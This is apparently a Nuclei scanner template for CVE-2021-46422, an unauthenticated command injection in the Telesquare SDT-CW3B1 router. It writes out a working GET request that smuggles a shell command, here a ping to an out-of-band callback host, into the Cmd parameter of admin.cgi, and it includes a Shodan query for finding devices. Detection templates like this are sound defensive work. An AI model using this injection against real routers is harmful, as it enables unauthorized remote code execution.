id: CVE-2021-46422

info:
  name: SDT-CW3B1 1.1.0 - OS Command Injection
  author: badboycxcc,prajiteshsingh
  severity: critical
  description: |
    Telesquare SDT-CW3B1 1.1.0 is affected by an OS command injection vulnerability that allows a remote attacker to execute OS commands without any authentication.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to execute arbitrary commands on the target system.
  remediation: |
    Upgrade to a patched version of SDT-CW3B1 or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/50936
    - https://drive.google.com/drive/folders/1YJlVlb4SlTEGONzIjiMwd2P7ucP_Pm7T?
    - https://nvd.nist.gov/vuln/detail/CVE-2021-46422
    - https://drive.google.com/drive/folders/1YJlVlb4SlTEGONzIjiMwd2P7ucP_Pm7T?usp=sharing
    - http://packetstormsecurity.com/files/167201/SDT-CW3B1-1.1.0-Command-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-46422
    cwe-id: CWE-78
    epss-score: 0.9475
    epss-percentile: 0.99848
    cpe: cpe:2.3:h:telesquare:sdt-cs3b1:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: telesquare
    product: sdt-cs3b1
    shodan-query: html:"SDT-CW3B1"
  tags: cve2021,cve,packetstorm,telesquare,rce,router,injection,edb,vkev,vuln
variables:
  cmd: "ping${IFS}-c${IFS}1${IFS}{{interactsh-url}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/admin.cgi?Command=sysCommand&Cmd={{cmd}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<CmdResult>"

      - type: word
        name: http
        part: interactsh_protocol
        words:
          - "dns"
# digest: 490a00463044022060182c7b3c9a775bedc3af7e098e3751fb212e0d9070f4722be79f3b2ae322e902201711901a988bfe14c35cc5b0ae747ef44610d1057f1088d173bd19068d8a2f1a:922c64590222798bb761d5b6d8e72950